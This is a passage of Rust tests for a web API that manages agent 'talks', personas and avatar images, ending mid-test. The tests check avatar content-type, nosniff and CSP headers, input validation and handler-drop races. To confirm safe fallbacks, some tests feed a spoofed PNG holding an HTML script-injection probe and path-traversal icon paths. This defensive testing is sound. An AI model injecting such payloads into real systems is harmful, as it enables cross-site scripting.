10565        assert_ne!(v["persona"], "nobody");
10566        let typed = f
10567            .post(
10568                "/api/talks",
10569                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
10570            )
10571            .await;
10572        assert_eq!(typed.status, 201, "{}", typed.body);
10573
10574        // The strict `agent` field still refuses an unknown id.
10575        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
10576        assert!(
10577            !strict.status.to_string().starts_with('2'),
10578            "{}",
10579            strict.body
10580        );
10581    }
10582
10583    #[tokio::test]
10584    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
10585        let (_tmp, _repo, f) = talk_fixture().await;
10586
10587        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
10588        // is the ordinary way a phone opens a talk.
10589        let opened = f.post("/api/talks", None).await;
10590        assert_eq!(opened.status, 201, "{}", opened.body);
10591        let body = opened.json();
10592        assert_eq!(body["status"], "open");
10593        assert_eq!(
10594            body["turns"].as_array().unwrap().len(),
10595            0,
10596            "opening takes no agent turn: there is nothing yet to answer"
10597        );
10598
10599        // An explicit empty object is the same request as none at all.
10600        let also_opened = f.post("/api/talks", Some("{}")).await;
10601        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
10602
10603        let listed = f.get("/api/talks").await.json();
10604        assert_eq!(listed.as_array().unwrap().len(), 2);
10605    }
10606
10607    #[tokio::test]
10608    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
10609        let tmp = TempDir::new().expect("tempdir");
10610        let repo = tmp.path().join("repo");
10611        std::fs::create_dir_all(&repo).expect("repo dir");
10612        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
10613        std::fs::write(
10614            repo.join("magi.toml"),
10615            format!("{MOCK_AGENT_TOML}\n{second}"),
10616        )
10617        .expect("write magi.toml");
10618        let home = TempDir::new().expect("temp home");
10619        let talks = Talks::at(home.path().join("talks"));
10620        let ui = Arc::new(
10621            Ui::new(
10622                Queue::at(home.path().join("queue")),
10623                Questions::at(home.path().join("questions")),
10624                talks.clone(),
10625                home.path().join("runs"),
10626                home.path().to_path_buf(),
10627                repo.clone(),
10628            )
10629            .with_worktrees_root(home.path().join("wt")),
10630        );
10631        let cfg = config_for(&repo).await.expect("discover config");
10632        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10633        let id = talk.id.clone();
10634        let call = |agent: &str| {
10635            talk_agent(
10636                State(Arc::clone(&ui)),
10637                Path(id.clone()),
10638                Json(TalkAgent {
10639                    agent: agent.to_owned(),
10640                }),
10641            )
10642        };
10643
10644        let unknown = call("nobody").await.expect_err("unknown agent");
10645        assert_eq!(
10646            unknown.status,
10647            StatusCode::BAD_REQUEST,
10648            "{}",
10649            unknown.message
10650        );
10651
10652        {
10653            // Nothing refused so far took a claim, so the guard is free to take
10654            // and holding it is what makes the talk busy.
10655            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10656            let busy = call("second").await.expect_err("busy talk");
10657            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10658            assert!(
10659                busy.message.contains("a talk turn is running"),
10660                "{}",
10661                busy.message
10662            );
10663            drop(guard);
10664        }
10665        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
10666
10667        let Json(view) = call("second").await.expect("switch");
10668        assert_eq!(view.talk.agent, "second");
10669        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
10670        let saved = talks.get(&id).expect("reload");
10671        assert_eq!(saved.agent, "second");
10672        assert_eq!(saved.turns.len(), 1);
10673        assert!(!view.thinking);
10674        assert!(!ui.is_thinking(&id), "idle response must release the claim");
10675        for agent in ["mock", "second"] {
10676            let Json(view) = call(agent).await.expect("immediate consecutive change");
10677            assert_eq!(view.talk.agent, agent);
10678            assert!(!view.thinking);
10679            assert!(!ui.is_thinking(&id));
10680        }
10681
10682        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10683            .await
10684            .expect("detail");
10685        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
10686        assert_eq!(roster, ["mock", "second"]);
10687
10688        let mut closed = talks.get(&id).expect("reload");
10689        talk::close(&mut closed, &talks).expect("close");
10690        let refused = call("mock").await.expect_err("closed talk");
10691        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
10692        assert!(
10693            refused.message.contains("takes no more turns"),
10694            "{}",
10695            refused.message
10696        );
10697    }
10698
10699    #[tokio::test]
10700    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
10701        let tmp = TempDir::new().expect("tempdir");
10702        let repo = tmp.path().join("repo");
10703        std::fs::create_dir_all(&repo).expect("repo dir");
10704        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10705        let home = TempDir::new().expect("temp home");
10706        let talks = Talks::at(home.path().join("talks"));
10707        let ui = Arc::new(
10708            Ui::new(
10709                Queue::at(home.path().join("queue")),
10710                Questions::at(home.path().join("questions")),
10711                talks.clone(),
10712                home.path().join("runs"),
10713                home.path().to_path_buf(),
10714                repo.clone(),
10715            )
10716            .with_worktrees_root(home.path().join("wt")),
10717        );
10718        let cfg = config_for(&repo).await.expect("discover config");
10719        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10720        let id = talk.id.clone();
10721        let call = |n: u8| {
10722            talk_implementers(
10723                State(Arc::clone(&ui)),
10724                Path(id.clone()),
10725                Json(TalkImplementers { implementers: n }),
10726            )
10727        };
10728
10729        for bad in [0u8, 4] {
10730            let e = call(bad).await.expect_err("out of range");
10731            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
10732        }
10733        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
10734
10735        {
10736            // Nothing refused so far took a claim, so the guard is free to take
10737            // and holding it is what makes the talk busy.
10738            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10739            let busy = call(2).await.expect_err("busy talk");
10740            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10741            assert!(
10742                busy.message.contains("a talk turn is running"),
10743                "{}",
10744                busy.message
10745            );
10746            drop(guard);
10747        }
10748
10749        let Json(view) = call(3).await.expect("switch");
10750        assert_eq!(view.talk.implementers, 3);
10751        assert!(talks.get(&id).expect("reload").implementers_dirty);
10752        assert!(!view.thinking);
10753        assert!(!ui.is_thinking(&id), "idle response must release the claim");
10754        for n in [1, 2, 3] {
10755            let Json(view) = call(n).await.expect("immediate consecutive change");
10756            assert_eq!(view.talk.implementers, n);
10757            assert!(!view.thinking);
10758            assert!(!ui.is_thinking(&id));
10759        }
10760
10761        let mut closed = talks.get(&id).expect("reload");
10762        talk::close(&mut closed, &talks).expect("close");
10763        let e = call(2).await.expect_err("closed talk");
10764        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
10765        assert!(e.message.contains("takes no more turns"), "{}", e.message);
10766    }
10767
10768    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
10769    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
10770        let tmp = TempDir::new().expect("tempdir");
10771        let repo = tmp.path().join("repo");
10772        std::fs::create_dir_all(&repo).expect("repo dir");
10773        std::fs::write(
10774            repo.join("magi.toml"),
10775            format!("{MOCK_AGENT_TOML}\n{extra}"),
10776        )
10777        .expect("write magi.toml");
10778        let home = TempDir::new().expect("temp home");
10779        let talks = Talks::at(home.path().join("talks"));
10780        let ui = Arc::new(
10781            Ui::new(
10782                Queue::at(home.path().join("queue")),
10783                Questions::at(home.path().join("questions")),
10784                talks.clone(),
10785                home.path().join("runs"),
10786                home.path().to_path_buf(),
10787                repo.clone(),
10788            )
10789            .with_worktrees_root(home.path().join("wt")),
10790        );
10791        let cfg = config_for(&repo).await.expect("discover config");
10792        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10793        (tmp, home, ui, talk.id, repo)
10794    }
10795
10796    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
10797    async fn avatar(
10798        ui: &Arc<Ui>,
10799        id: &str,
10800        persona: Option<&str>,
10801        builtin: bool,
10802    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
10803        let res = talk_avatar(
10804            State(Arc::clone(ui)),
10805            Path(id.to_owned()),
10806            Query(AvatarQuery {
10807                persona: persona.map(str::to_owned),
10808                builtin: builtin.then(|| "1".to_owned()),
10809            }),
10810        )
10811        .await
10812        .expect("an avatar is never an error response");
10813        let h = res.headers();
10814        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
10815        let nosniff = h
10816            .get(header::X_CONTENT_TYPE_OPTIONS)
10817            .is_some_and(|v| v == "nosniff");
10818        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
10819        let status = res.status();
10820        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
10821            .await
10822            .expect("body")
10823            .to_vec();
10824        (status, ct, nosniff, csp, body)
10825    }
10826
10827    fn tiny_png() -> Vec<u8> {
10828        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
10829        b.extend_from_slice(&[0u8; 32]);
10830        b
10831    }
10832
10833    #[tokio::test]
10834    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
10835        let res = operator_avatar().await;
10836        assert_eq!(res.status(), StatusCode::OK);
10837        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
10838        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
10839        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
10840        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
10841        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
10842            .await
10843            .unwrap();
10844        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
10845        assert_ne!(
10846            persona_icon::operator_svg(),
10847            persona_icon::builtin_svg("default")
10848        );
10849    }
10850
10851    #[tokio::test]
10852    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
10853        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
10854        for p in [
10855            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
10856        ] {
10857            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
10858            assert_eq!(status, StatusCode::OK, "{p}");
10859            assert_eq!(ct, "image/svg+xml", "{p}");
10860            assert!(nosniff && csp, "{p}");
10861            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
10862        }
10863        // No `persona` means the conversation's own; unknown ones fall back.
10864        let own = avatar(&ui, &id, None, false).await;
10865        let default = avatar(&ui, &id, Some("default"), false).await;
10866        assert_eq!(own.4, default.4);
10867        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
10868        assert_eq!(unknown.1, "image/svg+xml");
10869    }
10870
10871    #[tokio::test]
10872    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
10873        let dir = TempDir::new().expect("icons");
10874        let good = dir.path().join("good.png");
10875        std::fs::write(&good, tiny_png()).unwrap();
10876        let spoof = dir.path().join("spoof.png");
10877        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
10878        let big = dir.path().join("big.png");
10879        let mut bytes = tiny_png();
10880        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
10881        std::fs::write(&big, bytes).unwrap();
10882        let missing = dir.path().join("missing.png");
10883        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
10884        let extra = format!(
10885            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
10886             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
10887             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
10888             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
10889             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
10890             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
10891            uri(&good),
10892            uri(&spoof),
10893            uri(&big),
10894            uri(&missing),
10895        );
10896        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
10897
10898        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
10899        assert_eq!(
10900            (status, ct.as_str(), nosniff),
10901            (StatusCode::OK, "image/png", true)
10902        );
10903        assert_eq!(body, tiny_png());
10904        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
10905        assert_eq!(ct, "image/png", "data URI");
10906
10907        for p in ["misato", "asuka", "shinji", "magi"] {
10908            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
10909            assert_eq!(
10910                (status, ct.as_str(), csp),
10911                (StatusCode::OK, "image/svg+xml", true),
10912                "{p}"
10913            );
10914            assert!(body.starts_with(b"<svg"), "{p}");
10915        }
10916        // The page's own retry skips the icon.
10917        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
10918        assert_eq!(ct, "image/svg+xml");
10919    }
10920
10921    #[tokio::test]
10922    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
10923        let oversized = format!(
10924            "data:image/png;base64,{}",
10925            "A".repeat(persona_icon::ICON_MAX_BYTES)
10926        );
10927        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
10928            let extra = format!(
10929                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
10930            );
10931            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
10932            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10933                .await
10934                .expect("detail with invalid icon");
10935            assert!(detail.personas.iter().any(|p| p.id == "custom"));
10936            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
10937            assert_eq!(status, StatusCode::OK);
10938            assert_eq!(ct, "image/svg+xml");
10939            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
10940            let Json(view) = talk_persona(
10941                State(Arc::clone(&ui)),
10942                Path(id.clone()),
10943                Json(TalkPersona {
10944                    persona: "custom".into(),
10945                }),
10946            )
10947            .await
10948            .expect("persona switch with invalid icon");
10949            assert_eq!(view.talk.persona, "custom");
10950            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
10951        }
10952    }
10953
10954    #[tokio::test]
10955    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
10956        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
10957        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
10958        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
10959        assert_eq!(
10960            (status, ct.as_str(), nosniff, csp),
10961            (StatusCode::OK, "image/svg+xml", true, true)
10962        );
10963    }
10964
10965    #[tokio::test]
10966    async fn the_talk_view_carries_server_built_avatar_urls_only() {
10967        let (_t, _h, ui, id, _repo) =
10968            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
10969        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10970            .await
10971            .expect("detail");
10972        let json = serde_json::to_string(&detail).unwrap();
10973        assert!(
10974            !json.contains("secret"),
10975            "the icon setting must not leak: {json}"
10976        );
10977        assert!(
10978            detail
10979                .view
10980                .persona_avatar
10981                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
10982        );
10983        assert_eq!(
10984            detail.view.operator_avatar,
10985            format!(
10986                "/avatars/operator.svg?v={}",
10987                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
10988            )
10989        );
10990        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
10991        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
10992        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
10993        assert!(rei.avatar.contains("persona=rei&v="));
10994        assert_ne!(
10995            rei.avatar.split("&v=").nth(1),
10996            plain.avatar.split("&v=").nth(1)
10997        );
10998    }
10999
11000    #[tokio::test]
11001    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
11002        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
11003        let cfg = config_for(&repo).await.unwrap();
11004        for arrived in [false, true] {
11005            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
11006            let observed = ui.queued_generation(&id);
11007            let talk = ui.talks.get(&id).unwrap();
11008            if arrived {
11009                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
11010            }
11011            let mut settling = std::pin::pin!(settle_settings_turn(
11012                talk,
11013                ui.talks.clone(),
11014                cfg.clone(),
11015                id.clone(),
11016                turn,
11017                observed
11018            ));
11019            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
11020            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
11021            assert_eq!(first.is_pending(), arrived);
11022            if arrived {
11023                assert!(!settling.await);
11024            }
11025            assert!(!ui.is_thinking(&id));
11026        }
11027    }
11028
11029    #[tokio::test]
11030    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
11031        let tmp = TempDir::new().expect("tempdir");
11032        let repo = tmp.path().join("repo");
11033        std::fs::create_dir_all(&repo).expect("repo dir");
11034        std::fs::write(
11035            repo.join("magi.toml"),
11036            format!(
11037                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
11038            ),
11039        )
11040        .expect("write magi.toml");
11041        let home = TempDir::new().expect("temp home");
11042        let talks = Talks::at(home.path().join("talks"));
11043        let ui = Arc::new(
11044            Ui::new(
11045                Queue::at(home.path().join("queue")),
11046                Questions::at(home.path().join("questions")),
11047                talks.clone(),
11048                home.path().join("runs"),
11049                home.path().to_path_buf(),
11050                repo.clone(),
11051            )
11052            .with_worktrees_root(home.path().join("wt")),
11053        );
11054        let cfg = config_for(&repo).await.expect("discover config");
11055        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11056        let id = talk.id.clone();
11057        let call = |persona: &str| {
11058            talk_persona(
11059                State(Arc::clone(&ui)),
11060                Path(id.clone()),
11061                Json(TalkPersona {
11062                    persona: persona.to_owned(),
11063                }),
11064            )
11065        };
11066
11067        let unknown = call("nobody").await.expect_err("unknown persona");
11068        assert_eq!(
11069            unknown.status,
11070            StatusCode::BAD_REQUEST,
11071            "{}",
11072            unknown.message
11073        );
11074
11075        {
11076            // Nothing refused so far took a claim, so the guard is free to take
11077            // and holding it is what makes the talk busy.
11078            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
11079            let busy = call("rei").await.expect_err("busy talk");
11080            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
11081            assert!(
11082                busy.message.contains("a talk turn is running"),
11083                "{}",
11084                busy.message
11085            );
11086            drop(guard);
11087        }
11088        assert_eq!(talks.get(&id).expect("reload").persona, "");
11089
11090        let Json(view) = call("gendo").await.expect("switch to a configured persona");
11091        assert_eq!(view.talk.persona, "gendo");
11092        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
11093        assert!(!ui.is_thinking(&id), "idle response must release the claim");
11094        // No intervening I/O or sleep may be needed before another change.
11095        for chosen in ["default", "gendo", "rei", "gendo"] {
11096            let Json(view) = call(chosen).await.expect("immediate consecutive change");
11097            assert!(!view.thinking);
11098            assert!(!ui.is_thinking(&id));
11099        }
11100
11101        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11102            .await
11103            .expect("detail");
11104        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
11105        assert_eq!(ids.first(), Some(&"default"));
11106        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
11107
11108        let Json(view) = call("default").await.expect("back to default");
11109        assert_eq!(view.talk.persona, "");
11110
11111        let mut closed = talks.get(&id).expect("reload");
11112        talk::close(&mut closed, &talks).expect("close");
11113        let refused = call("rei").await.expect_err("closed talk");
11114        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
11115        assert!(
11116            refused.message.contains("takes no more turns"),
11117            "{}",
11118            refused.message
11119        );
11120    }
11121
11122    #[tokio::test]
11123    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
11124        let f = Fixture::start().await;
11125        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
11126        let queue = f.queue();
11127        let mut mine = Task::new(
11128            "rename the loader".to_owned(),
11129            "rename the loader".to_owned(),
11130            PathBuf::from("/repo/magi"),
11131            Source::Agent {
11132                run: talk_id.clone(),
11133                node: "chat".to_owned(),
11134            },
11135        );
11136        queue.put(&mut mine).expect("file the task");
11137        let mut theirs = Task::new(
11138            "unrelated".to_owned(),
11139            "unrelated".to_owned(),
11140            PathBuf::from("/repo/magi"),
11141            Source::Human,
11142        );
11143        queue.put(&mut theirs).expect("file the task");
11144
11145        let res = f.get(&format!("/api/talks/{talk_id}")).await;
11146        assert_eq!(res.status, 200, "{}", res.body);
11147        let body = res.json();
11148        assert_eq!(
11149            body["status"], "open",
11150            "filing a task does not close a talk"
11151        );
11152        let tasks = body["tasks"].as_array().expect("tasks array");
11153        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
11154        assert_eq!(tasks[0]["id"], mine.id);
11155    }
11156
11157    #[tokio::test]
11158    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
11159        let (_tmp, _repo, f) = talk_fixture().await;
11160        let id = f.post("/api/talks", None).await.json()["id"]
11161            .as_str()
11162            .expect("id")
11163            .to_owned();
11164
11165        let res = f
11166            .post(
11167                &format!("/api/talks/{id}/say"),
11168                Some(r#"{"text":"what does the queue module do?"}"#),
11169            )
11170            .await;
11171        assert_eq!(res.status, 202, "{}", res.body);
11172        let queued = res.json();
11173        let turns = queued["turns"].as_array().expect("turns array");
11174        assert_eq!(
11175            turns.len(),
11176            1,
11177            "the answer reflects only what is on disk the instant it is sent, \
11178             before the agent's turn - which can run for the whole of \
11179             `[graph] timeout_talk` - has a chance to land: {queued}"
11180        );
11181        assert_eq!(turns[0]["who"], "operator");
11182        assert_eq!(turns[0]["body"], "what does the queue module do?");
11183        assert_eq!(
11184            queued["thinking"], true,
11185            "the accepted response exposes the background turn claim: {queued}"
11186        );
11187
11188        let mut turns_after = 1;
11189        for _ in 0..SETTLE_STEPS {
11190            let detail = f.get(&format!("/api/talks/{id}")).await.json();
11191            turns_after = detail["turns"].as_array().expect("turns array").len();
11192            if turns_after == 2 {
11193                break;
11194            }
11195            tokio::time::sleep(Duration::from_millis(10)).await;
11196        }
11197        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
11198    }
11199
11200    /// A phone that reloads mid-request drops `talk_say`'s whole handler
11201    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
11202    /// guards against: `talk::record` used to return, and only *then* did the
11203    /// handler make a second, separate disk round trip before spawning the
11204    /// agent's reply task. A future dropped in that gap left a message
11205    /// recorded on disk with no reply task ever started and no way back short
11206    /// of a fresh message - and the gap was not even the whole story: *any*
11207    /// `.await` in this handler, including the very first one, is a point
11208    /// where a drop can land after the awaited work already finished but
11209    /// before this handler's own code resumes to act on it. `record` now
11210    /// runs inside the task `tokio::spawn` hands to the runtime before this
11211    /// handler ever awaits anything of its own again, so there is nothing
11212    /// left in *this* handler's future for a disconnect to interrupt between
11213    /// the message landing on disk and the reply task starting.
11214    ///
11215    /// A real socket disconnect cannot be relied on to land in the old gap
11216    /// from a test - over loopback, `talk_say` typically finishes before the
11217    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
11218    /// same failure mode directly: it drops the task's future at whatever
11219    /// point it has reached, exactly what axum does to the handler future,
11220    /// without needing to win a real network race. Sweeping the delay before
11221    /// aborting samples a range of points the task's execution can be at,
11222    /// including where the old code sat waiting on its second disk round
11223    /// trip - confirmed by reverting this fix locally and watching this same
11224    /// sweep catch a talk stuck with the operator's turn recorded and no
11225    /// reply ever following.
11226    #[tokio::test]
11227    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
11228        let tmp = TempDir::new().expect("tempdir");
11229        let repo = tmp.path().join("repo");
11230        std::fs::create_dir_all(&repo).expect("repo dir");
11231        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11232        let home = TempDir::new().expect("temp home");
11233        let talks = Talks::at(home.path().join("talks"));
11234        let ui = Arc::new(
11235            Ui::new(
11236                Queue::at(home.path().join("queue")),
11237                Questions::at(home.path().join("questions")),
11238                talks.clone(),
11239                home.path().join("runs"),
11240                home.path().to_path_buf(),
11241                repo.clone(),
11242            )
11243            .with_worktrees_root(home.path().join("wt")),
11244        );
11245        let cfg = config_for(&repo).await.expect("discover config");
11246
11247        for delay in 0..40u32 {
11248            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
11249            let id = talk.id.clone();
11250
11251            let handler = tokio::spawn(talk_say(
11252                State(Arc::clone(&ui)),
11253                Path(id.clone()),
11254                Ok(Json(NewTalkTurn {
11255                    reply_to: None,
11256                    text: "what does the queue module do?".to_owned(),
11257                    attachments: Vec::new(),
11258                })),
11259            ));
11260            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
11261            handler.abort();
11262            // Wait out the abort so the next iteration's talk does not race
11263            // this one's still-unwinding turn guard.
11264            let _ = handler.await;
11265
11266            let mut turns = 0;
11267            for _ in 0..SETTLE_STEPS {
11268                if let Ok(fresh) = talks.get(&id) {
11269                    turns = fresh.turns.len();
11270                    if turns != 1 {
11271                        break;
11272                    }
11273                }
11274                tokio::time::sleep(Duration::from_millis(10)).await;
11275            }
11276            assert_ne!(
11277                turns, 1,
11278                "delay {delay}: talk {id} recorded the operator's turn but \
11279                 the agent never answered - the reply task was never \
11280                 started after the handler future was dropped"
11281            );
11282        }
11283    }
11284
11285    /// The same drop, landing on `talk_say`'s other durable write.
11286    ///
11287    /// When a turn is already running, the busy branch persists the
11288    /// operator's text as a queued draft and then reclaims the turn slot if
11289    /// the holder gave it up in the meantime - and whoever reclaims owes that
11290    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
11291    /// which finishes whether or not the future awaiting it is still there,
11292    /// so a handler dropped at that `.await` used to leave the draft written
11293    /// to disk with the reclaimed guard dropped unread and no drainer ever
11294    /// started: the message sat queued until some unrelated later `say`
11295    /// happened to pick it up.
11296    ///
11297    /// This used to drive the handler future by hand, polling it a fixed
11298    /// number of times to park it at the `.await` where it asks for the turn
11299    /// and finds it busy, before the reclaim's slot-free case could be set up
11300    /// underneath it. That assumed a fixed number of polls lands at a fixed
11301    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
11302    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
11303    /// poll, so any number of this handler's several `blocking` awaits can
11304    /// collapse into one poll under load, landing the drive somewhere other
11305    /// than intended - including, occasionally, straight past the handler's
11306    /// own completion, which made polling it again panic with "async fn
11307    /// resumed after completion". No poll count fixes that; the handler's
11308    /// progress simply is not something a caller outside it can observe by
11309    /// counting.
11310    ///
11311    /// [`BusyQueueGate`] replaces the poll count with a real stop point
11312    /// inside the write itself, so the interleaving under test is pinned by
11313    /// an event instead of a guess: the gate fires only once the handler has
11314    /// actually decided `Busy` and is about to persist the draft, and it
11315    /// blocks that write until the test lets it through. Between those two
11316    /// moments the test drains the turn the handler found busy - through
11317    /// `drain_loop`, the protocol's other half - and then aborts the handler
11318    /// task outright, the same way axum drops a disconnected request's
11319    /// future. The write, and the reclaim it may do, run to completion
11320    /// regardless: they live in the `tokio::spawn` task the busy branch hands
11321    /// to the runtime before ever touching the gate, wholly independent of
11322    /// whether the handler that started it is still around - which is what
11323    /// this test is actually checking. A drainer other than that reclaim
11324    /// cannot exist here: the test's own `drain_loop` call happens before the
11325    /// gate opens, so it runs while the queue is still empty and hands the
11326    /// turn straight back rather than draining anything, closing off the
11327    /// possibility of the final assertion passing without the reclaim ever
11328    /// having done its job.
11329    #[tokio::test]
11330    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
11331        let tmp = TempDir::new().expect("tempdir");
11332        let repo = tmp.path().join("repo");
11333        std::fs::create_dir_all(&repo).expect("repo dir");
11334        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11335        let home = TempDir::new().expect("temp home");
11336        let talks = Talks::at(home.path().join("talks"));
11337        let ui = Arc::new(
11338            Ui::new(
11339                Queue::at(home.path().join("queue")),
11340                Questions::at(home.path().join("questions")),
11341                talks.clone(),
11342                home.path().join("runs"),
11343                home.path().to_path_buf(),
11344                repo.clone(),
11345            )
11346            .with_worktrees_root(home.path().join("wt")),
11347        );
11348        let cfg = config_for(&repo).await.expect("discover config");
11349
11350        for attempt in 0..3u32 {
11351            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
11352            let id = talk.id.clone();
11353            // A turn is already running, which is what sends `talk_say` down
11354            // the busy branch.
11355            let turn_guard = ui
11356                .begin_talk_turn(&id)
11357                .expect("claim the turn")
11358                .expect("a fresh talk owes nobody a turn");
11359
11360            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
11361            let (release_tx, release_rx) = std::sync::mpsc::channel();
11362            ui.set_busy_queue_gate(BusyQueueGate {
11363                reached: reached_tx,
11364                release: release_rx,
11365            });
11366
11367            let handler = tokio::spawn(talk_say(
11368                State(Arc::clone(&ui)),
11369                Path(id.clone()),
11370                Ok(Json(NewTalkTurn {
11371                    reply_to: None,
11372                    text: "what does the queue module do?".to_owned(),
11373                    attachments: Vec::new(),
11374                })),
11375            ));
11376
